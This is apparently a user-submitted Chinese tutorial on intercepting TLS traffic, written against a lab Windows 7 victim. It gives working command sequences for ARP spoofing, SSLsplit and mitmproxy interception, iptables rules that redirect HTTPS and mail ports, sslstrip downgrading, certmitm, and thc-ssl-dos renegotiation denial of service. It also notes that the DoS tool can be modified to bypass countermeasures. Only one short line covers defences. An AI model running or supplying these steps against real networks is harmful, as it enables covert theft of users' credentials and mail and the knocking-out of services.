SSLSplit
首先,确保你的系统已经安装了必要的依赖,如 OpenSSL 和 libpcap。然后,从 GitHub 克隆项目并进行编译安装:- git clone https://github.com/droe/sslsplit.gitcd sslsplit
- make
- sudo make install
复制代码- # 创建一个目录用于存放生成的证书
- mkdir -p /tmp/sslsplit/logdir
-
- # 运行 SSLsplit
- sudo sslsplit -d -l connections.log -j -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080
复制代码 iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080 【#HTTP】
【-t:指定表;-A PERROUTING:路由前生效;-p:指定协议;--dport:接受流量的端口;-j:指定处理方法(REDIRECT重定向);--to-ports:转发端口】
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443 【#HTTPS】
iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443 【#MSA】
iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443 【#SMTPS】
iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443 【#IMAPS】
iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443 【#POP3S】
iptables -t nat -L
ARP欺骗 【win7为受害机】(被害者完全没察觉)
arpspoof -i eth0 -t 192.168.155.54 -r 192.168.155.1【-i:指定网卡;-t:欺骗目标;-r:网关地址】
(欺骗103,让其认为攻击机为网关)【发包(给103)不能停下】
欺骗前:【注意:192.168.56.100与..56.102的物理地址】
成功欺骗 【网关mac地址为..56.102的mac地址】
启动SSLsplit侦听设定的端口
sslsplit -D -l connect.log -j /root/test -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080
【-D:详细信息;-l:记录连接信息-j:越狱根目录;-S:记录所有请求和接受数据】(需保证root目录中有test目录,其中有logdir目录)
伪造成功
通过被害机Win7访问https的网站,会出现“安全证书有问题的错误”,若点击接受,则链路被成功劫持,攻击机可嗅探传输的信息
【在客户端访问攻击机时,sslsplit一瞬间将真实访问站点证书的真实信息收集记录下来,进行伪造浏览器中可查看的证书,以供用户查看】
#在connect.log可查看连接信息
#在test/logdir可查看传输数据 【使用grep命令筛选数据】
#sslsplit会自动进行一定程度的解密,一般可查看到其数据信息
当安装过伪造的根证书之后,访问网站的适合,将无告警提示
Mitmproxy
前提:进行arp欺骗,但自动集成默认的证书
缺点:只能在8080端口侦听,指定其他端口,会出现问题
mitmproxy -T --host -w mitmproxy.log 【有类图形化界面;-w:指定的记录文件】
SSLstrip 【强制受害者发送明文的数据到中间人的电脑,中间人再加密进行传输】
与前两种工具不同,将客户端到中间人之间的流量变成明文,但同样需要结合arp地址欺骗 【无需进行证书伪造】但可能会被发现
sslstrip -l 8080
【会自动生成sslstrip.log文件】
SSL/TLS拒绝服务攻击
对象:提供SSL安全连接的网站或服务 【占本机流量不大】
thc-ssl-dos
原理:SSL协商加密对性能开销增加,大量握手请求会导致拒绝服务。
利用SSL secure Renegotiation特性,在单一TCP连接中生成数千个SSL重连接请求,造成服务器资源过载
与流量式拒绝服务攻击不同,thc-ssl-dos可以利用dsl线路(私人家用)打垮30G带宽的服务器
一般性能的服务器平均可以处理300次/秒SSL握手请求
对SMTPS、POP3S等服务同样有效
thc-ssl-dos --accept 【--accept:强制添加的参数】
对策
禁用SSL-Renegotiation、使用SSL Accelerator
【通过修改thc-ssl-dos代码,可以绕过以上对策】
Certmitm证书替换
参考aapooksman/certmitm:用于测试客户端设备或应用程序建立的 TLS 连接的证书验证漏洞的工具。
设置DNS/DHCP服务器;- sudo ip addr add 192.168.3.1/24 dev eth0 # 分配 IP 地址
- sudo dnsmasq --no-daemon --interface eth0 --dhcp-range=192.168.3.1,192.168.3.256 --log-dhcp --log-queries --bind-interfaces -C /dev/null
复制代码 配置 iptables 流量转发
bash- sudo iptables -A INPUT -i eth0 -j ACCEPT
- sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-ports 9900 # 拦截 HTTPS 流量
- sudo iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE # 共享互联网连接
复制代码 pyOpenSSL
dpkt
三、启动 certmitm
bash- python3 certmitm.py --listen 9900 --workdir tapo_test --verbose --show-data
- - `--listen 9900`: 监听重定向的 9900 端口。
- - `--verbose`: 显示详细日志。
- - `--show-data`: 显示拦截的数据。
复制代码 来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |